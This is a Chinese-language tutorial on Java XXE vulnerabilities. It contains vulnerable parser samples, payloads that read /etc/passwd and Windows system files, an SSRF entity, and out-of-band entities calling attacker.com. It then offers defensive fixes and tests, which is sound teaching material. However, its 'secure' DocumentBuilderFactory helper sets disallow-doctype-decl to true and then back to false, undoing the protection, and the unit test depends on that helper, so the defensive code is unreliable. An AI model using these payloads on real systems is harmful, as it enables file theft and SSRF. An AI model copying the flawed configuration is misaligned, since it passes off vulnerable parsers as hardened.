Java XXE (XML External Entity) 漏洞案例
基本概念
XXE (XML External Entity Injection) 是一种XML注入漏洞,攻击者可以利用外部实体读取服务器文件、执行SSRF攻击等。

漏洞示例代码
1 使用DocumentBuilderFactory(默认配置,存在漏洞)
import javax.xml.parsers.*;
import org.w3c.dom.*;
public class XXEVulnerable {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">"
+ "]>"
+ "<root><name>&xxe;</name></root>";
// 存在漏洞 - 默认配置允许外部实体
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
// 读取文件内容
String content = doc.getElementsByTagName("name").item(0).getTextContent();
System.out.println("File content: " + content);
}
}
2 使用SAXParser(存在漏洞)
import javax.xml.parsers.*;
import org.xml.sax.*;
import org.xml.sax.helpers.*;
public class SAXXEVulnerable {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"http://attacker.com/steal-data\">"
+ "]>"
+ "<root><name>&xxe;</name></root>";
// 存在漏洞
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();
reader.setContentHandler(new DefaultHandler() {
public void characters(char[] ch, int start, int length) {
System.out.println(new String(ch, start, length));
}
});
reader.parse(new InputSource(new StringReader(xml)));
}
}
3 使用Transformer(存在漏洞)
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import javax.xml.transform.dom.*;
public class TransformerXEVulnerable {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">"
+ "]>"
+ "<root><data>&xxe;</data></root>";
// 存在漏洞
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
TransformerFactory tf = TransformerFactory.newInstance();
Transformer transformer = tf.newTransformer();
StringWriter writer = new StringWriter();
transformer.transform(new DOMSource(doc), new StreamResult(writer));
System.out.println("Output: " + writer.toString());
}
}
XXE攻击类型
1 文件读取攻击
<!-- 读取Linux文件 --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <!-- 读取Windows文件 --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
2 SSRF攻击
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server/admin"> ]>
3 Blind XXE(带外攻击)
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>
安全修复方案
1 DocumentBuilderFactory安全配置
public static DocumentBuilder createSecureBuilder() throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用外部实体
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// 可选:禁用DTD
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
return factory.newDocumentBuilder();
}
2 SAXParser安全配置
public static SAXParser createSecureSAXParser() throws Exception {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
return factory.newSAXParser();
}
3 使用安全的XML解析库
// 使用JDOM2
import org.jdom2.*;
import org.jdom2.input.*;
public class SecureXMLParser {
public static void parseXML(String xmlContent) throws Exception {
SAXBuilder builder = new SAXBuilder();
// 禁用外部实体
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new StringReader(xmlContent));
}
}
4 使用白名单验证
public class SecureXMLValidator {
public static String sanitizeXML(String xml) {
// 移除DTD声明
String sanitized = xml.replaceAll("<!DOCTYPE[^>]*>", "");
// 移除外部实体引用
sanitized = sanitized.replaceAll("&[^;]*;", "");
return sanitized;
}
public static boolean validateXML(String xml) {
// 检查XML是否包含DTD
if (xml.contains("<!DOCTYPE") || xml.contains("<!ENTITY")) {
return false;
}
// 检查是否包含外部实体引用
if (xml.contains("SYSTEM") || xml.contains("PUBLIC")) {
return false;
}
return true;
}
}
XML解析器配置对比
| 解析器 | 默认安全 | 修复方法 |
|---|---|---|
| DocumentBuilderFactory | 不安全(Java 8及以下) | 设置FEATURE |
| SAXParser | 不安全 | 设置FEATURE |
| TransformerFactory | 不安全 | 设置FEATURE |
| JDOM | 不安全 | 使用SAXBuilder |
| DOM4J | 不安全 | 配置DocumentFactory |
| javax.xml.stream.XMLInputFactory (StAX) | 部分安全 | 设置属性 |
测试用例
1 单元测试
import org.junit.Test;
import static org.junit.Assert.*;
public class XXETest {
@Test(expected = Exception.class)
public void testXXEPrevention() throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">"
+ "]>"
+ "<root><name>&xxe;</name></root>";
// 使用安全配置
DocumentBuilder builder = createSecureBuilder();
builder.parse(new InputSource(new StringReader(xml)));
}
@Test
public void testSafeXMLParsing() throws Exception {
String xml = "<root><name>test</name></root>";
DocumentBuilder builder = createSecureBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
assertEquals("test", doc.getElementsByTagName("name").item(0).getTextContent());
}
}
最佳实践总结
- 禁用DTD:如果不需要DTD,直接禁用
- 禁用外部实体:配置解析器禁止外部实体
- 使用白名单:验证XML内容,阻止恶意输入
- 升级JDK版本:Java 8u31+、Java 9+ 默认更安全
- 代码审计:使用静态分析工具检测XXE漏洞
- 输入验证:对所有XML输入进行严格验证
检测工具
# 使用findsecbugs检测 findsecbugs -progress -html -output report.html target/classes/ # 使用OWASP Dependency Check dependency-check --scan target/ --format HTML
这些案例展示了Java中XXE漏洞的各种形式及其修复方法,在生产环境中,确保所有XML解析器都已正确配置以防御外部实体攻击。